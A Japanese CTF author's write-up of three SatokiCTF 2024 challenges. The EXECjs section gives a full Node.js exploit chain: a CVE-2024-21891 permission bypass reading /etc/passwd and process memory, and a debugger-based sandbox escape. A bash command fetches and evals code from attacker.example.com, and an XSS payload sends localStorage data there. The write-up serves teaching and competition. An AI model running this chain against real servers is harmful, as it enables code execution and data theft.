st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

SatokiCTF 2024で出題した問題の解説

2024年8月25日から2024年8月26日にかけて、Satokiさん主催でSatokiCTF 2024が開催されました。Satokiさんの誕生日を記念しての開催ということで、おめでとうございます。

SatokiCTF 2024は「複数人で協力してSatokiを倒す (全完する) レイドバトル形式」と銘打ったCTFで、奇抜な問題だったり極端な難易度の問題だったりが出題されていたほか、ルール上「他の参加者の競技を妨害する行為」以外は許可されており、たとえばチーム間での協力や開催中のYouTube等でのライブ配信すら許されていました。たとえば、以下のような配信がありました:

このCTFに3問の問題(と賞品としてSteamのプリペイドカード5,000円分)を提供しましたので、作問者の視点で想定していた解法やその意図を紹介したいと思います。なお、今回出題した問題については、GitHubリポジトリで公開しています。


[Misc 100] HBD (19 solves, warmup)

Apache HTTP Serverにも誕生日を祝わせることでフラグが得られます。

添付ファイル: hbd.zip

添付ファイルを展開してソースコードを確認していきます。compose.yml は次の通りです。proxy というコンテナの裏に、Apache HTTP Serverが動いている apache というコンテナがいるという構成に見えます。フラグは proxy が持っているようです。なお、apache には設定ファイルどころかHTMLも含め、どのようなファイルも渡されていません。

services:
  proxy:
    build: proxy
    ports:
      - "8848:8000"
    depends_on:
      - apache
    environment:
      - FLAG=flag{dummy}
  apache:
    image: httpd:2.4

proxy/main.go は次のとおりです。リバースプロキシのようで、proxy を通して apache にアクセスできるというような構造になっていることがわかります。

また、modify という関数で apache から返ってきたレスポンスを改変しており、もし HBD!Satoki! というバイト列がレスポンスボディに含まれていれば、代わりにフラグをレスポンスとして返すことがわかります。しかしながら、先程見たように apache はデフォルトの設定そのままでデプロイされています。どうすればよいでしょうか。

package main

import (
    "bytes"
    "io"
    "net/http"
    "net/http/httputil"
    "net/url"
    "strconv"
    "os"
)

func getFlag() string {
    v := os.Getenv("FLAG")
    if len(v) == 0 {
        return "flag{dummy}"
    }
    return v
}

func modify(r *http.Response) error {
    body, err := io.ReadAll(r.Body)
    if err != nil {
        return err
    }

    var b []byte
    if bytes.Contains(body, []byte("HBD!Satoki!")) {
        b = []byte(getFlag())       
    } else {
        b = body
    }

    r.Body = io.NopCloser(bytes.NewReader(b))
    r.Header.Set("Content-Length", strconv.Itoa(len(b)))

    return nil
}

func main() {
    url, _ := url.Parse("http://apache")
    proxy := httputil.NewSingleHostReverseProxy(url)
    proxy.ModifyResponse = modify
    http.ListenAndServe(":8000", proxy)
}

Apache HTTP Serverは、デフォルトの設定でユーザから与えられた入力をそのまま出力するような機能を持っていないでしょうか。実は、リクエスト先のページが与えられたメソッドに対応していない場合、そのメソッド名が出力されます。英小文字や記号も受け付けます。

# curl localhost -X "Poyo!"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>501 Not Implemented</title>
</head><body>
<h1>Not Implemented</h1>
<p>Poyo! not supported for current URL.<br />
</p>
</body></html>

これを利用して、HBD!Satoki! をメソッド名として指定することでフラグが得られました。

$ curl localhost:8848 -X 'HBD!Satoki!'
flag{tanjobi_anata_8ae01c4e}

first bloodはkoufu193さんでした。おめでとうございます。

フラグは誕生日からの連想でアリス・カータレットです。Satokiさんが作るような感じの変なMisc問がほしいな~と思い作ったものです。結果的にはあまり変な問題にはならなかったと思います。

[Misc 100] zzz (21 solves, warmup)

朝起きて 歯を磨いて あっという間 午後10時

sshpass -p ctf ssh ctf@(問題サーバのホスト名) -p 22222

ヒント:

SFTPやSCP, ポートフォワーディングといったSSHに関連する機能は、解くためには必要ありません。
なにかシンプルな方法で sleep infinity を終了させられないでしょうか。

添付ファイル: zzz.zip

添付ファイルを展開してソースコードを確認していきます。compose.yml は次の通りです。zzz というひとつのサービスだけが動いているようです。

services:
  zzz:
    build: .
    ports:
      - "22222:5000"
    init: true

Dockerfile は次の通りです。SSHで接続すると、シェルの代わりに /app/zzz.sh が実行されるようです。

FROM ubuntu:22.04

ENV DEBIAN_FRONTEND noninteractive

RUN apt-get update && apt-get -y install openssh-server

# thanks to https://github.com/SECCON/SECCON2022_online_CTF/blob/46742099d094a69c214f35498718b5c9ba900b26/misc/txtchecker/build/Dockerfile#L10
WORKDIR /app

RUN groupadd -r ctf && useradd -m -r -g ctf ctf
RUN echo "ctf:ctf" | chpasswd

RUN echo 'ForceCommand "/app/zzz.sh"' >> /etc/ssh/sshd_config
RUN echo 'Port 5000' >> /etc/ssh/sshd_config
RUN mkdir /var/run/sshd

COPY flag.txt /
COPY zzz.sh /app/

RUN chmod 444 /flag.txt
RUN chmod 555 /app/zzz.sh

CMD /sbin/sshd -D

zzz.sh は次の通りです。最後に cat /flag.txt とフラグを表示する処理があるものの、その前に sleep infinity と永遠に sleep する処理があります。なんとかしてこの sleep から脱出できないでしょうか。

#!/bin/bash
echo "I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi!"
sleep infinity
cat /flag.txt

まず考えるのは Ctrl + CCtrl + Z ですが、コネクションが切断されてしまったり、そもそも無反応だったりします。

$ sshpass -p ctf ssh ctf@localhost -p 22222
I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi!
^CConnection to localhost closed.
$ sshpass -p ctf ssh ctf@localhost -p 22222
I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi!
^Z^Z^Z^Z^Z^Z^Z^Z^Z^Z^Z

ほかに手段はないでしょうか。sshd_config で明示的に有効化されていないことから、SFTPを使っての flag.txt の取得はできません。ポートフォワーディングも意味がありません。

実は、Ctrl + CSIGINT が、Ctrl + ZSIGTSTP が送信できる以外にも、Ctrl + \*1SIGQUIT というシグナルを送ることもできます。これを何度か試してみると、次のように sleep infinity だけを停止させてフラグが得られました。

$ sshpass -p ctf ssh ctf@localhost -p 22222
^\/app/zzz.sh: line 2:   299 Quit                    sleep infinity
flag{eternal_spring_dream_27ff12ce}
Connection to localhost closed.

first bloodはkoufu193さんでした。おめでとうございます。

問題文はZzz、フラグは永遠に眠り続ける sleep からの連想で、ドレミー・スイート戦で流れる「永遠の春夢」です。Dockerfilecompose.yml を含めても50行に満たない程度にシンプルで、新規性があり少し考える必要のある問題を作りたかったと思いできたものです。シグナルについて調べていたところ Ctrl + \SIGQUIT を送信できるらしいと知り、なにか問題にできないかと思った結果としてこれができました。非常にシンプルなので過去にどこかのCTFで出題されていそうに思いましたが、私が調べた限りでは見つかりませんでした。もし出題実績があれば教えてください。

[Web 500] EXECjs (1 solves, satoki)

TsukuCTF 2023のEXECpyをパクってNode.js版を作りました。RCE2XSSしてください。

(InstancerのURL)

※ローカルでflagが取得できることを確認した後にリモートで試してください。
※添付ファイル中のcrawlerは、ローカルで試しやすいよう改変を加えたものです。本物の問題サーバでは、visit 関数を除いて大きく異なるコードが動いていますので、ご注意ください。

添付ファイル: execjs.zip

問題の概要

まず問題文等から得られる情報として、ほかの問題はチーム間で共有の環境を使っているのに対して、この問題ではチームごとにinstancerを使って独立した環境が用意されるようになっています。ここから、破壊的な変更を加えるような攻撃が可能なのかもしれないと推測できます。

与えられたファイルを使って、問題サーバをローカルで立ち上げます。Webブラウザでアクセスすると次のような画面が表示されました。どうやら任意のJSコードが実行できるようです。

ソースコードを見ていきましょう。compose.yml は次のとおりです。先程見た問題サーバが動いている backend というサービスの他にも、XSS botらしき crawler というサービスがあります。

services:
  backend:
    build: backend
    init: true
    cap_add:
      - SYS_PTRACE # note: I added this capability to make the challenge easier :p
    ports:
      - "3000:3000"
  crawler:
    build: crawler
    restart: unless-stopped
    ports:
      - "3001:3000"
    environment:
      - FLAG=flag{redacted}

crawler から見ていきましょう。もっとも重要なのは index.js ですが、その内容は次の通りです。ユーザが立ち上げたインスタンスへアクセスし、Local Storageにフラグを格納してから5秒待つという処理が行われています。それだけです。

ユーザから報告されたURLへアクセスする等のアクションは行われませんから、なんとかして backend に任意のコンテンツを返させる必要があります。それで、localStorage.flag を外部へ送信させたいところです。

import { chromium } from 'playwright';
import express from 'express';

const PORT = process.env.PORT || 3000;
const FLAG = process.env.FLAG || 'flag{dummy}';
const SITE = 'http://backend:3000'; // note: this will be replaced to the URL of your own instance

function sleep(t) {
    return new Promise(r => setTimeout(r, t));
}

const visit = async () => {
    console.log('visiting');

    let browser;
    try {
        browser = await chromium.launch({
            executablePath: '/usr/bin/chromium',
            headless: true,
            pipe: true,
            args: [
                '--disable-dev-shm-usage',
                '--disable-gpu',
                '--js-flags=--noexpose_wasm,--jitless',
            ],
            dumpio: true
        });

        const context = await browser.newContext();
        const page = await context.newPage();

        await page.goto(SITE, { timeout: 3000, waitUntil: 'networkidle' });
        page.evaluate(flag => {
            localStorage.flag = flag;
        }, FLAG);
        await sleep(5000);

        await browser.close();
        browser = null;
    } catch (e) {
        console.log(e);
    } finally {
        if (browser) await browser.close();
    }

    console.log('done');
};

const app = express();

app.get('/', (req, res) => {
    visit();
    return res.send('crawling');
});

app.listen(PORT, () => {
    console.log(`listening on port ${PORT}`);
});

backend の方を見ていきましょう。index.js は次のとおりです。シンプルな構造で、/ にJSコードをPOSTすると safeEval という関数によって実行してその結果を返します。CSPが全ページに適用されており、default-src 'none' とどのようなリソースの読み込みも許可されていません。

import fs from 'node:fs/promises';

import express from 'express';
import { safeEval, escape } from './util.js';

const PORT = process.env.PORT || 3000;

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use((req, res, next) => {
    res.setHeader('Content-Security-Policy', "default-src 'none'"); // 😉
    next();
});

const indexHtml = (await fs.readFile('index.html')).toString();
app.get('/', async (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    return res.send(indexHtml.replaceAll('{OUTPUT}', ''));
});
app.post('/', async (req, res) => {
    let result = '';
    const { code } = req.body;

    if (code && typeof code === 'string') {
        try {
            result = (await safeEval(code)).toString();
        } catch {
            result = 'An error occurred.';
        }
    }

    const html = indexHtml.replaceAll('{OUTPUT}', escape(result));
    res.setHeader('Content-Type', 'text/html');
    return res.send(html);
});

app.listen(PORT, () => {
    console.log(`listening on port ${PORT}`);
});

safeEvalutil.js で定義されています。一時ディレクトリにユーザから与えられたJSコードをファイルとして保存した後に、Node.jsで実行しています。

この際、--experimental-permission というオプションが付与されています。これはNode.jsで現在実験的に実装されている機能で、ファイルの読み込みや子プロセスの作成といった機能について、コマンドラインオプションから明示的に許可されない限り利用できないというものです。今回は --allow-fs-read=${tmpdir} のみが与えられており、JSが存在するディレクトリ下のファイルを読む以外に、制限されている機能は利用できません。

import child_process from 'node:child_process';
import fs from 'node:fs/promises';

import tmp from 'tmp';

export async function safeEval(code) {
    let result = null;

    const { name: tmpdir, removeCallback } = tmp.dirSync();
    const txtpath = `${tmpdir}/sample.txt`;
    const jspath = `${tmpdir}/index.js`;

    try {
        await fs.writeFile(txtpath, 'hello');
        await fs.writeFile(jspath, code);

        const proc = child_process.execFileSync('node', [
            '--experimental-permission',
            `--allow-fs-read=${tmpdir}`,
            '--noexpose_wasm',
            '--jitless',
            jspath
        ], {
            timeout: 60_000,
            cwd: tmpdir,
            stdio: ['ignore', 'pipe', 'pipe']
        });
        result = proc;
    } catch(e) {
        console.error('[err]', e);
    } finally {
        await fs.unlink(txtpath);
        await fs.unlink(jspath);
        removeCallback();
    }

    return result;
};

const escapeTable = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#39;'
};
export function escape(html) {
    return html.replaceAll(/[&<>"']/g, s => {
        return escapeTable[s];
    })
};

サンドボックスから脱出して、Webサーバが動いているプロセスを乗っ取って任意のレスポンスを返させたいわけですが、どのようにすればよいでしょうか。材料を集めつつ考えていきましょう。

CVE-2024-21891によるPath Traversal

backendDockerfile から、Node.jsのバージョンはv20.11.0とやや古いことがわかります。Node.jsの20系は2026年4月までサポートということでまだまだ現役ではありますが、2024年8月段階での20系の最新バージョンはv20.16.0です。v20.11.0以降のチェンジログを見ると、複数のCVE番号が発番されていることがわかります。これらのうち、なにか使えそうなものはないでしょうか。

ひとつはCVE-2024-21891で、どうやらファイルシステム回りのpermissionの実装に問題があるためにバイパスができたようです。許可されたファイルへのアクセスであるかを確認する際に、node:fs モジュールがパスの正規化時にユーザによって置き換え可能な関数に頼っているために、その関数を書き換えることでバイパスができるという脆弱性*2のようです。

PoCはすぐには見つかりませんが、脆弱性を修正したと思われるコミットを見ると、path.toNamespacedPath を書き換えても問題なく動作するかを確認するテストコードが追加されています。これが通るか試してみましょう。

次のようなコードを用意します。

const fs = require('fs/promises');
const path = require('path');
path.toNamespacedPath = (path) => { return `${__dirname}/../../etc/passwd`; };

(async () => {
    console.log((await fs.readFile('.')).toString());
})();

実行すると、/etc/passwd を読むことができました。

デバッガを起動させ、WebSocketのエンドポイントのURLを得る

ファイルの読み込みに関してはセキュリティ機構のバイパスができるようになりましたが、それ以外の子プロセスの作成やファイルの書き込みといったことはできません。親プロセスであるWebサーバのレスポンスの書き換えというゴールまではまだ遠いわけです。

次の一手として、デバッガの利用を考えます。親プロセスのデバッガを起動させて接続し、親プロセスのコンテキストでJSコードを実行させてサンドボックスから脱出したり、あるいはWebサーバのハンドラを書き換えてレスポンスを操作したりできないでしょうか。

上述のNode.jsのドキュメントを読むとわかるように、デバッガの起動は簡単にできます。Node.jsのプロセスに対して SIGUSR1 というシグナルを送信するだけです。親プロセスのPIDは process.ppid や一時ディレクトリのパスから得られますし、SIGUSR1 シグナルの送信も特にpermissionsの制約を受けることなく process._debugProcess によって行えます。

次のようなJSコードを実行します。

const ppid = require.main.path.split('-')[1];
process._debugProcess(+ppid);

Dockerのログを見てみると、次のようにデバッガが起動している様子が確認できました。ここで表示されている ws://127.0.0.1:9229/ad3559e7-01a8-491f-8cc0-bac70624f165 というようなWebSocketエンドポイントへ接続することでデバッグが可能です。

backend-1  | Debugger listening on ws://127.0.0.1:9229/ad3559e7-01a8-491f-8cc0-bac70624f165
backend-1  | For help, see: https://nodejs.org/en/docs/inspector

WebSocketのエンドポイントのURLにはUUIDが含まれていますが、これはデバッガの起動のたびに変わります。サンドボックスの内側からこのURLを得るにはどうすればよいでしょうか。これは http://127.0.0.1:9229/json/list から得る方法があります…が、今回は使えません。Dockerfile--inspect-publish-uid=stderr というコマンドラインオプションが付与されているためです。

--inspect-publish-uid はどこからWebSocketのエンドポイントを得られるかを指定できるコマンドラインオプションです。stderr のみが指定されている場合は、標準エラー出力にしかこのURLが出力されません。http がその値として含まれていない限り、/json/list 等のHTTP APIからのURLの取得はできません。

HTTP APIからのURLの取得ができないのであれば、どうすればよいでしょうか。/proc/<pid>/mem です。今回は親プロセスと子プロセスは同じUID/GIDですし、CAP_SYS_PTRACE というcapabilityが追加されていますから、/proc/<pid>/mem を読むことができます。メモリのどこかにはUUIDがあるでしょう。

メモリからUUIDを探し出すJSコードは次の通りです。

const fs = require('fs/promises');
const path = require('path');
const ppid = require.main.path.split('-')[1];
path.toNamespacedPath = (path) => { return `${__dirname}/../../proc/${ppid}/maps`; };

(async () => {
    const maps = await fs.readFile('.') + '';

    path.toNamespacedPath = (path) => { return `${__dirname}/../../proc/${ppid}/mem`; };
    const f = await fs.open('.');

    let result = new Set();
    const m = [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
    for (const line of maps.split('\n')) {
        if (!line.includes('-')) continue;
        if (!line.includes('r')) continue;

        let [start, end] = line.split(' ')[0].split('-');
        start = parseInt(start, 16);
        end = parseInt(end, 16);
        const size = end - start;

        const buf = Buffer.alloc(size);
        try {
            await f.read(buf, 0, size, start);
        } catch {
            continue;
        }

        let j = 0;
        for (let i = 0; i < size; i++) {
            switch (m[j]) {
                case 0: if ((0x30 <= buf[i] && buf[i] <= 0x39) || (0x61 <= buf[i] && buf[i] <= 0x66)) j++; else j = 0; break;
                case 1: if (buf[i] === 0x2d) j++; else j = 0; break;
            }

            if (j === m.length) {
                result.add(buf.slice(i - m.length + 1, i + 1).toString());
                j = 0;
            }
        }
    }

    console.log(result);
})();

実行すると、ひとつだけUUIDが見つかりました。WebSocketのエンドポイントのものと一致しています。

デバッガとの通信

これでデバッガのエンドポイントにアクセスするための情報が揃いましたが、デバッガとはWebSocketを通じて喋る必要があります。Node.jsでビルトインに WebSocket を利用できるようになったのはv22.0.0になってからですので、なんとかして自前でWebSocketクライアントを用意する必要があります。

wsというPure JSで作られたNode.js向けのWebSocketライブラリがありますから、適当にバンドルしてやりましょう。esbuild を使って、次のような内容の index.js を用意し、esbuild index.js --bundle --minify --platform=node --outfile=out.js というようなコマンドでバンドルします。これでWebSocketクライアントが利用できます。

globalThis.WebSocket = require('ws').WebSocket;

デバッグのためのプロトコルでは、Runtime.evaluate というメソッドを使ってJSコードの実行ができます。親プロセスのコンテキストでJSコードを実行すればサンドボックスからの脱出ができそうですが、一旦立ち止まって、この後どう進めていくか考えましょう。

Webサーバの GET / のハンドラを書き換えるのがゴールであるわけですが、そのためにはExpress由来のオブジェクトにアクセスする必要があります。そのために、次の関数にブレークポイントを置いた上で、ここに差し掛かった際にハンドラを書き換えるという方法が考えられます。

app.get('/', async (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    return res.send(indexHtml.replaceAll('{OUTPUT}', ''));
});

ただ、今回のWebアプリは一度にひとつのリクエストしか処理できないような構成になっています。GET / にブレークポイントを置いたところで、発火させられません。サンドボックス中でブレークポイントの設置や到達までの待機をしたとして、このコードの実行は POST / のハンドラ中で行われているわけですから、別途 GET / へのリクエストを送っても、コードの実行が終了するまで受け付けてくれません。

この問題を解決する方法として、別プロセスを立ち上げてブレークポイントの設置や、ブレークポイントへの到達時に GET / のハンドラを書き換えるような処理をさせるということが考えられます。Runtime.evaluate メソッドによって、親プロセスのコンテキストで process.binding('spawn_sync').spawn を使い、/bin/bash -c '/usr/local/bin/node /tmp/poyoyoyoe.js >/dev/null 2>&1 &' というような感じで立ち上げましょう。事前に /tmp/poyoyoyoe.js へJSコードを書き込んでおく必要がありますが、これも process.binding でやれるでしょう。

解く

さて、あとはここまでで立てた方針を実装していくだけです。まず、次のようなexploitを用意します。親プロセスのデバッガを起動させ、procfsからWebSocketのエンドポイントのURLを得て、デバッガに接続して…というような手順を踏みます。solve.php については後述しますが、この solve.php に含まれるJSコードが実行されることで、GET / のハンドラが書き換えられます。

import re
import time
import httpx

with open('compile-code/out.js', 'r') as f:
    ws = f.read() + '\n'

with httpx.Client(base_url='http://localhost:3000') as client:
    def execute(code, use_ws=False):
        if use_ws:
            code = ws + code
        r = client.post('/', data={
            'code': code
        })
        return re.findall(r'<pre>(.*?)</pre>', r.text, re.MULTILINE | re.DOTALL)[0].strip()

    # 1. 親プロセスにSIGUSR1を投げて強引にデバッガを起動させる
    execute('''
const ppid = require.main.path.split('-')[1];
process._debugProcess(+ppid);
'''.strip())
    time.sleep(1)

    # 2. /proc/{pid}/下のmapsとmemを読んでWebSocketのURLを得る
    ws_uuid = execute('''
const fs = require('fs/promises');
const path = require('path');
const ppid = require.main.path.split('-')[1];
path.toNamespacedPath = (path) => { return `${__dirname}/../../proc/${ppid}/maps`; };

(async () => {
    const maps = await fs.readFile('.') + '';

    path.toNamespacedPath = (path) => { return `${__dirname}/../../proc/${ppid}/mem`; };
    const f = await fs.open('.');

    let result;
    const m = [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
    for (const line of maps.split('\\n')) {
        if (!line.includes('-')) continue;
        if (!line.includes('r')) continue;

        let [start, end] = line.split(' ')[0].split('-');
        start = parseInt(start, 16);
        end = parseInt(end, 16);
        const size = end - start;

        const buf = Buffer.alloc(size);
        try {
            await f.read(buf, 0, size, start);
        } catch {
            continue;
        }

        let j = 0;
        for (let i = 0; i < size; i++) {
            switch (m[j]) {
                case 0: if ((0x30 <= buf[i] && buf[i] <= 0x39) || (0x61 <= buf[i] && buf[i] <= 0x66)) j++; else j = 0; break;
                case 1: if (buf[i] === 0x2d) j++; else j = 0; break;
            }

            if (j === m.length) {
                result = buf.slice(i - m.length + 1, i + 1).toString();
                break;
            }
        }
    }

    console.log(result);
})();
'''.strip())
    ws_endpoint = f'ws://127.0.0.1:9229/{ws_uuid}'
    print(ws_endpoint)

    # 3. デバッガのRuntime.evaluate + process.bindingでsandbox escapeに持ち込む。手順4-6はsolve.phpに存在
    # なお、手順4以降は/proc/{pid}/memの書き換え等、別の方法でもいける気がする
    r = execute('''
const ws = new WebSocket('WS_ENDPOINT');

const code = `
setTimeout(async () => {
    process.binding('spawn_sync').spawn({
        file: '/bin/bash',
        // refer attached solve.php
        args: ['/bin/bash', '-c', 'echo "(async()=>{ const r = await fetch(' + "'http://attacker.example.com/solve.php?ws=WS_ENDPOINT'" + '); eval(await r.text()); })()" > /tmp/poyoyoyoe.js'],
        envPairs: [],
        stdio: [
            { type: 'pipe', readable: true, writable: true },
            { type: 'pipe', readable: true, writable: true },
            { type: 'pipe', readable: true, writable: true }
        ]
    });

    process.binding('spawn_sync').spawn({
        file: '/bin/bash',
        args: ['/bin/bash', '-c', '/usr/local/bin/node /tmp/poyoyoyoe.js >/dev/null 2>&1 &'],
        envPairs: [],
        stdio: [
            { type: 'pipe', readable: true, writable: true },
            { type: 'pipe', readable: true, writable: true },
            { type: 'pipe', readable: true, writable: true }
        ],
    });
}, 5000);
`;

ws.on('open', () => {
    ws.send(JSON.stringify({
        id: 1,
        method: 'Runtime.evaluate',
        params: {
            expression: code
        }
    }));
});

setTimeout(() => { ws.close(); }, 3000);
'''.replace('WS_ENDPOINT', ws_endpoint).strip(), True)

    time.sleep(10)

    # 7. 一応レスポンスが書き換わっているか確認
    r = client.get('/')
    print(r.text)

    # 8. 完了。admin botに見てもらおう

solve.php は次の通りです。Debugger.enable メソッドで /app/index.js のScriptIdを得て、それを元に GET / のハンドラへ Debugger.setBreakPoint メソッドでブレークポイントを置きます。ブレークポイントへ到達したことを意味する Debugger.paused イベントが発生するまで待ち、そのタイミングで Debugger.evaluateOnCallFrame により GET / のハンドラを書き換えます。

<?php echo file_get_contents('out.js'); // compile-code下でnpm run buildして出力されたJSファイル ?>

function sleep(t) {
    return new Promise(r => setTimeout(r, t));
}

const ws = new WebSocket('<?= $_GET['ws'] ?>');

ws.on('error', console.error);

// 4. まずは情報収集。/app/index.jsのScriptIdを得たい
ws.on('open', () => {
    ws.send(JSON.stringify({ id: 1, method: 'Runtime.enable' }));
    ws.send(JSON.stringify({ id: 2, method: 'Debugger.enable' }));
});

ws.on('message', async data => {
    const d = JSON.parse(data.toString());

    // 5. /app/index.jsのScriptIdをゲット。GET /にブレークポイントを置く
    if (d.method === 'Debugger.scriptParsed') {
        if (!d.params.embedderName.includes('/app/index.js')) return;
        ws.send(JSON.stringify({
            id: 3, method: 'Debugger.setBreakpoint',
            params: {
                location: { scriptId: d.params.scriptId, lineNumber: 16 }
            }
        }));
    }

    // 6. setIntervalで回していたおかげでGET /のハンドラに到達
    // reqからたどってLayerのhandleを書き換えることで、GET /のハンドラを置き換えられる
    // CSPヘッダを削除しつつ、レスポンスとしてlocalStorageを外部に送信するものへ変える
    if (d.method === 'Debugger.paused') {
        ws.send(JSON.stringify({
            id: 4, method: 'Debugger.evaluateOnCallFrame',
            params: {
                callFrameId: d.params.callFrames[0].callFrameId,
                //expression: `req.route.stack[0].handle = (req, res) => { res.removeHeader('Content-Security-Policy'); res.send('<script>alert(123)</script>') }`
                expression: `req.route.stack[0].handle = (req, res) => { res.removeHeader('Content-Security-Policy'); res.send('<script>setInterval(()=>{(new Image).src="http://attacker.example.com/log?" + localStorage.flag}, 500)</script>') }`
            }
        }));
        await sleep(1000);
        ws.send(JSON.stringify({
            id: 5, method: 'Debugger.resume'
        }));
        await sleep(1000);
        ws.close();
    }
});

setInterval(() => { fetch('http://localhost:3000'); }, 500);
setTimeout(() => { ws.close(); }, 10_000);

exploitを実行すると、問題サーバが <script>setInterval(()=>{(new Image).src="http://attacker.example.com/log?" + localStorage.flag}, 500)</script> をレスポンスとして返すようになりました。CSPも解除されています。これをXSS botに報告することで、フラグが得られました。

flag{kaenbyou_rin_fe6d4c7d}

問題文の通り、以前SatokiさんがTsukuCTF 2023にEXECpyという問題を出していたことから、そのオマージュとしてJavaScriptでRCE2XSSする問題を作成したものです。フラグは特に問題の要素とは関係なく、私が東方で一番好きなキャラのお燐です。

難易度を最上のsatokiと設定した問題は0 solvesを目指す、というSatokiさんからの要請があったので、なるべく難しくなるよう調整しました。パズル的な方向で難しくしたかったのですが、私の力不足のために腕力でなんとかする方向で難しい問題となりました。

難易度satokiとはいえ、開催数週間前の時点でDiscordサーバには150名超のユーザがいた上に、Webに非常に強いプレイヤーが国内外から複数名入っていたことから、1-3 solves程度は出るかもしれないと考えていました。また、サンドボックス中ですら実行できるコードの自由度が高いことから、簡単な非想定解法が出ることも危惧していました。

first bloodはstrellicさんでした。おめでとうございます。CTFの開始から7時間弱ということで、かなりの速度で解かれたことがわかります。

主な要素は以下のような感じでしょうか。どれだけNode.jsとそのデバッグプロトコルを知っているか、また調べられるかという雰囲気の問題でした。過程としては全体的に面倒なものの、一番面倒なパートであるV8 Inspector ProtocolでのおしゃべりはUIUCTF 2021 - wasmcloudcorCTF 2021 - saasmeといった出題実績がありexploitがある程度流用できますし、そもそもSatokiCTFはレイドバトルでありチーム間での情報共有が許可されているというコンセプトだったので、問題なかろう*3と思い出題しました。

  • process._debugProcess (SIGUSR1シグナルの送信)を使ったNode.jsのデバッガの立ち上げ
  • 既知のNode.jsの脆弱性を使ったPath Traversal
  • /proc/<pid>/mem からのWebSocketエンドポイントの取得
  • Node.jsのデバッガとの通信によるサンドボックスからの脱出
  • node index.js のプロセスを止めずにレスポンスを書き換えるパズル

WebSocketエンドポイントについて、実は元々は http://127.0.0.1:9229/json からの取得ができるようになっていました。これは意図したものでしたが、そのままではsaasmeと大部分が解法が被ってしまうのではないかという恐れから、またNode.jsのソースコードを確認したところ --inspect-publish-uid オプションでこのHTTPのAPIを潰せるとわかったことから、問題にこのコマンドラインオプションを組み込むことにしました。/proc/<pid>/mem を読ませるために必要だったために CAP_SYS_PTRACE というcapabilityを追加しています*4が、これはちょっと露骨だったかもしれません。

ほか、情報収集をしている中で、今年r3kapigが開催したR3CTF 2024においてもJustMongoという類題が出題されていることを知りました。これはEXECjsと同じように --experimental-permission--allow-fs-read=(一時ディレクトリ) というオプションでサンドボックスを実現しているものですが、どうやらWebAssembly + WASIでサンドボックスからの脱出ができるようでした。対象のバージョンはv20.14.0、EXECjsで使っているバージョンはv20.11.0ということで、明らかにaffectedです。しかし、CVE-2024-21891はv20.14.0ではすでに修正されてしまっていますから、アップデートはできません。なんとかできないかと考え、V8のオプションである --noexpose_wasm によって WebAssembly へのアクセスを潰すことにしました。

ちなみに、今回用いられていたinstancerは、この問題のために作成したものです。すぽんとコンテナをspawnしてくれるので名前はSupponとしました。Container Spawner, Klodd, deploy-dynamicといった既存のツールを使う選択肢もありましたが、特にそうすべき理由もなく新たに作りました。新造ということでやや怖くはありましたが、SatokiCTFは実験場みたいなものですし。

(2024-09-01追記)wasiを使わなかったり(HackerOneでの報告も参照のこと)、v8.setFlagsFromString で強引に --no-jitless--expose-wasm を生やして WebAssembly を使えるようにしたりできるようです。すごい。(追記終わり)

*1:Ctrl + 4で送れる環境もあるようです。それはそう。stty quit …でどんなキーでも送ることができます

*2:後からHackerOneの報告を確認したところ、報告者はXionさんでした。世間は狭い

*3:saasmeの作問者として名を連ねていたstrellicさんも、SatokiCTFのDiscordサーバへ入っていることを観測していたのもあり…

*4:つまり、"# note: I added this capability to make the challenge easier :p" というのは半分嘘です。SYS_PTRACEなしでも解ける方法があれば教えてください